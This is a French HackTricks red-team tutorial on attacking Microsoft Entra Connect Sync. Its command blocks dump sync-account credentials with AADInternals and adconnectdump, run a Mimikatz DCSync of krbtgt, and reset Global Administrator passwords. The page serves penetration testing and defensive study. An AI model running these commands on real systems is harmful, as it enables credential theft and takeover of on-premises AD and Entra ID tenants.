Az - Connect Sync

Reading time: 12 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

D'après la documentation : Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) est un composant principal de Microsoft Entra Connect. Il prend en charge toutes les opérations liées à la synchronisation des données d'identité entre votre environnement sur site et Microsoft Entra ID.

Le service de synchronisation se compose de deux composants : le composant sur site Microsoft Entra Connect Sync et la partie service dans Microsoft Entra ID appelée Microsoft Entra Connect Sync service.

Pour l'utiliser, il est nécessaire d'installer l'agent Microsoft Entra Connect Sync sur un serveur au sein de votre environnement AD. Cet agent se chargera de la synchronisation côté AD.

Le Connect Sync est essentiellement l'ancienne méthode Azure pour synchroniser les utilisateurs depuis AD vers Entra ID. La nouvelle méthode recommandée est d'utiliser Entra Cloud Sync :

Az - Cloud Sync

Principals générés

  • Le compte MSOL_<installationID> est créé automatiquement dans l'AD sur site. Ce compte reçoit un rôle Directory Synchronization Accounts (voir la documentation) ce qui signifie qu'il dispose des permissions de réplication (DCSync) dans l'AD sur site.
  • Cela signifie que quiconque compromet ce compte pourra compromettre le domaine sur site.
  • Un compte de service géré ADSyncMSA<id> est créé dans l'AD sur site sans privilèges spéciaux par défaut.
  • Dans Entra ID, le Service Principal ConnectSyncProvisioning_ConnectSync_<id> est créé avec un certificat.

Synchroniser les mots de passe

Synchronisation des hachages de mot de passe

Ce composant peut aussi être utilisé pour synchroniser les mots de passe depuis AD vers Entra ID afin que les utilisateurs puissent utiliser leurs mots de passe AD pour se connecter à Entra ID. Pour cela, il faut activer la synchronisation des hachages de mots de passe dans l'agent Microsoft Entra Connect Sync installé sur un serveur AD.

D'après la documentation : La synchronisation des hachages de mot de passe est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. Azure AD Connect synchronise un hachage du hachage du mot de passe d'un utilisateur depuis une instance Active Directory sur site vers une instance Azure AD dans le cloud.

En gros, tous les utilisateurs et un hachage des hachages de mot de passe sont synchronisés depuis le sur site vers Azure AD. Cependant, les mots de passe en clair ou les hachages originaux ne sont pas envoyés à Azure AD.

La synchronisation des hachages a lieu toutes les 2 minutes. Cependant, par défaut, la date d'expiration du mot de passe et la date d'expiration du compte ne sont pas synchronisées dans Azure AD. Ainsi, un utilisateur dont le mot de passe sur site est expiré (non changé) peut continuer à accéder aux ressources Azure en utilisant l'ancien mot de passe.

Lorsqu'un utilisateur sur site souhaite accéder à une ressource Azure, l'authentification a lieu sur Azure AD.

note

Par défaut, les utilisateurs des groupes privilégiés connus comme Domain Admins ayant l'attribut adminCount à 1 ne sont pas synchronisés avec Entra ID pour des raisons de sécurité. Cependant, d'autres utilisateurs faisant partie de groupes privilégiés sans cet attribut ou qui se voient attribuer des privilèges élevés directement peuvent être synchronisés.

Rétroécriture des mots de passe

Cette configuration permet de synchroniser les mots de passe depuis Entra ID vers AD lorsqu'un utilisateur change son mot de passe dans Entra ID. Notez que pour que la rétroécriture des mots de passe fonctionne, l'utilisateur MSOL_<id> généré automatiquement dans l'AD doit se voir accorder des privilèges supplémentaires comme indiqué dans la documentation afin qu'il puisse modifier les mots de passe de n'importe quel utilisateur dans l'AD.

Ceci est particulièrement intéressant pour compromettre l'AD à partir d'un Entra ID compromis, car vous pourrez modifier le mot de passe de « presque » n'importe quel utilisateur.

Les domain admins et autres utilisateurs appartenant à certains groupes privilégiés ne sont pas répliqués si le groupe a l'attribut adminCount à 1. Mais d'autres utilisateurs auxquels des privilèges élevés ont été attribués dans l'AD sans appartenir à l'un de ces groupes peuvent voir leur mot de passe modifié. Par exemple :

  • Utilisateurs ayant des privilèges élevés attribués directement.
  • Utilisateurs du groupe DNSAdmins.
  • Les utilisateurs du groupe Group Policy Creator Owners qui ont créé des GPO et les ont assignés à des OU pourront modifier les GPO qu'ils ont créés.
  • Utilisateurs du groupe Cert Publishers Group qui peuvent publier des certificats dans Active Directory.
  • Utilisateurs de tout autre groupe avec des privilèges élevés sans l'attribut adminCount à 1.

Pivoting AD --> Entra ID

Énumération Connect Sync

Vérifier les utilisateurs :

bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

Vérifier la configuration de Connect Sync (si elle existe) :

bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

Trouver les mots de passe

Les mots de passe de l'utilisateur MSOL_* (et de l'utilisateur Sync_* si créé) sont stored in a SQL server sur le serveur où Entra ID Connect is installed. Les administrateurs peuvent extraire les mots de passe de ces utilisateurs privilégiés en clear-text.\
La base de données se trouve dans C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Il est possible d'extraire la configuration depuis l'une des tables, dont une est chiffrée :

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

La configuration chiffrée est chiffrée avec DPAPI et contient les mots de passe de MSOL_* dans l'AD on-prem et le mot de passe de Sync_* dans AzureAD. Par conséquent, en compromettant ceux-ci il est possible de privesc vers l'AD et vers AzureAD.

Vous pouvez trouver un aperçu complet de la façon dont ces identifiants sont stockés et décryptés dans cette présentation.

Abuser des MSOL_*

bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

warning

Des attaques précédentes avaient compromis l'autre mot de passe pour ensuite se connecter à l'utilisateur Entra ID appelé Sync_* puis compromettre Entra ID. Cependant, cet utilisateur n'existe plus.

Abuser de ConnectSyncProvisioning_ConnectSync_

Cette application a été créée sans rôles Entra ID ni rôles de gestion Azure assignés. Cependant, elle possède les permissions API suivantes :

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

Il est mentionné que le SP de cette application peut encore être utilisé pour effectuer certaines actions privilégiées via une API non documentée, mais aucun PoC n'a été trouvé pour l'instant, à ma connaissance.
Dans tous les cas, en supposant que cela soit possible, il serait intéressant d'explorer comment trouver le certificat pour se connecter en tant que ce service principal et tenter de l'abuser.

Ce blog post, publié peu après le passage de l'utilisateur Sync_* à ce service principal, expliquait que le certificat était stocké sur le serveur et qu'il était possible de le trouver, de générer un PoP (Proof of Possession) et un graph token, et qu'avec cela on pouvait ajouter un nouveau certificat au service principal (parce qu'un service principal peut toujours s'assigner de nouveaux certificats) puis l'utiliser pour maintenir la persistance en tant que SP.

Pour effectuer ces actions, les outils suivants ont été publiés : SharpECUtils.

Selon this question, pour trouver le certificat, vous devez exécuter l'outil depuis un processus qui a volé le token du processus miiserver.

Abuser de Sync_* [DEPRECATED]

warning

Précédemment, un utilisateur appelé Sync_* était créé dans Entra ID avec des permissions très sensibles assignées, ce qui permettait d'effectuer des actions privilégiées comme modifier le mot de passe de n'importe quel utilisateur ou ajouter un nouveau credential à un service principal. Cependant, depuis Jan2025 cet utilisateur n'est plus créé par défaut car l'Application/SP ConnectSyncProvisioning_ConnectSync_<id> est maintenant utilisée. Cela dit, il peut encore être présent dans certains environnements, donc il vaut la peine de vérifier sa présence.

En compromettant le compte Sync_*, il est possible de réinitialiser le mot de passe de n'importe quel utilisateur (y compris les Global Administrators)

bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Il est aussi possible de modifier uniquement les mots de passe cloud des utilisateurs (même si cela est inattendu)

bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Il est également possible de dump le mot de passe de cet utilisateur.

caution

Une autre option serait de assign privileged permissions to a service principal, opération que l'utilisateur Sync a les permissions d'effectuer, puis access that service principal comme moyen de privesc.

Seamless SSO

Il est possible d'utiliser Seamless SSO avec PHS, qui est vulnérable à d'autres abus. Consultez :

Az - Seamless SSO

Pivoting Entra ID --> AD

  • Si password writeback est activé, vous pouvez modify the password of any user in the AD qui est synchronisé avec Entra ID.
  • Si groups writeback est activé, vous pouvez add users to privileged groups dans Entra ID qui sont synchronisés avec l'AD.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks